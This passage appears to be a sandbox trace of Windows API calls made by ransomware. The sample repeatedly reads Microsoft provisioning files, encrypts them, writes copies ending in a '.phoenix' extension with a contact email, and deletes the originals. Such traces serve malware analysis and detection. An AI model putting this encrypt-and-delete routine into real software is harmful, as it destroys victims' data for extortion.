	[0253.428] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0253.428] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.428] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0253.428] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0253.428] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0253.429] CryptDestroyKey (hKey=0x151440) returned 1
	[0253.429] CloseHandle (hObject=0x2b4) returned 1
	[0253.429] CloseHandle (hObject=0x2c0) returned 1
	[0253.429] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\513__connections_cellular_claro (uruguay)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.430] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.430] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\514__connections_cellular_telefonica (uruguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.430] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=727) returned 1
	[0253.430] CloseHandle (hObject=0x2c0) returned 1
	[0253.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\514__connections_cellular_telefonica (uruguay)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\514__connections_cellular_telefonica (uruguay)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.431] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\514__connections_cellular_telefonica (uruguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.431] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.431] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.431] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\514__connections_cellular_telefonica (uruguay)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0253.431] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0253.431] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.431] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d7, lpOverlapped=0x0) returned 1
	[0253.443] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0253.444] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0253.446] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151080) returned 1
	[0253.446] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.446] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0253.446] CryptDestroyKey (hKey=0x151080) returned 1
	[0253.446] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0253.447] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0253.447] CloseHandle (hObject=0x2c0) returned 1
	[0253.447] CloseHandle (hObject=0x2b4) returned 1
	[0253.447] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\514__connections_cellular_telefonica (uruguay)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.449] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.449] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\517__connections_cellular_telefonica (venezuela)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.461] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=660) returned 1
	[0253.461] CloseHandle (hObject=0x2c0) returned 1
	[0253.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\517__connections_cellular_telefonica (venezuela)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\517__connections_cellular_telefonica (venezuela)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.463] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\517__connections_cellular_telefonica (venezuela)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0253.463] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.463] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.463] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\517__connections_cellular_telefonica (venezuela)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0253.464] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0253.464] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.464] ReadFile (in: hFile=0x2f8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x294, lpOverlapped=0x0) returned 1
	[0253.485] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0) returned 1
	[0253.485] WriteFile (in: hFile=0x2fc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2a0, lpOverlapped=0x0) returned 1
	[0253.486] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151680) returned 1
	[0253.486] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.486] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0253.486] CryptDestroyKey (hKey=0x151680) returned 1
	[0253.486] WriteFile (in: hFile=0x2fc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0253.486] CryptDestroyKey (hKey=0x151100) returned 1
	[0253.486] CloseHandle (hObject=0x2f8) returned 1
	[0253.486] CloseHandle (hObject=0x2fc) returned 1
	[0253.486] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\517__connections_cellular_telefonica (venezuela)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.487] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.487] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\518__connections_cellular_viettel (vietnam)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0253.488] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=645) returned 1
	[0253.488] CloseHandle (hObject=0x2fc) returned 1
	[0253.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\518__connections_cellular_viettel (vietnam)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\518__connections_cellular_viettel (vietnam)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.488] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\518__connections_cellular_viettel (vietnam)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0253.488] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.489] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.489] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\518__connections_cellular_viettel (vietnam)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0253.489] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151400) returned 1
	[0253.489] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.489] ReadFile (in: hFile=0x2fc, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x285, lpOverlapped=0x0) returned 1
	[0253.533] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0253.534] WriteFile (in: hFile=0x2f8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0253.534] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0253.535] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.535] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0253.535] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0253.535] WriteFile (in: hFile=0x2f8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0253.535] CryptDestroyKey (hKey=0x151400) returned 1
	[0253.535] CloseHandle (hObject=0x2fc) returned 1
	[0253.535] CloseHandle (hObject=0x2f8) returned 1
	[0253.535] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\518__connections_cellular_viettel (vietnam)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.536] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.536] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\519__connections_cellular_vinaphone (vietnam)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0253.537] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=707) returned 1
	[0253.537] CloseHandle (hObject=0x2f8) returned 1
	[0253.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\519__connections_cellular_vinaphone (vietnam)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\519__connections_cellular_vinaphone (vietnam)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.537] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\519__connections_cellular_vinaphone (vietnam)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0253.537] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.537] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.537] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\519__connections_cellular_vinaphone (vietnam)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0253.538] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0253.538] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.538] ReadFile (in: hFile=0x2f8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c3, lpOverlapped=0x0) returned 1
	[0253.544] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0253.544] WriteFile (in: hFile=0x2fc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0253.545] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0253.545] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.545] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0253.545] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0253.545] WriteFile (in: hFile=0x2fc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0253.545] CryptDestroyKey (hKey=0x151600) returned 1
	[0253.545] CloseHandle (hObject=0x2f8) returned 1
	[0253.545] CloseHandle (hObject=0x2fc) returned 1
	[0253.546] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\519__connections_cellular_vinaphone (vietnam)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.546] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
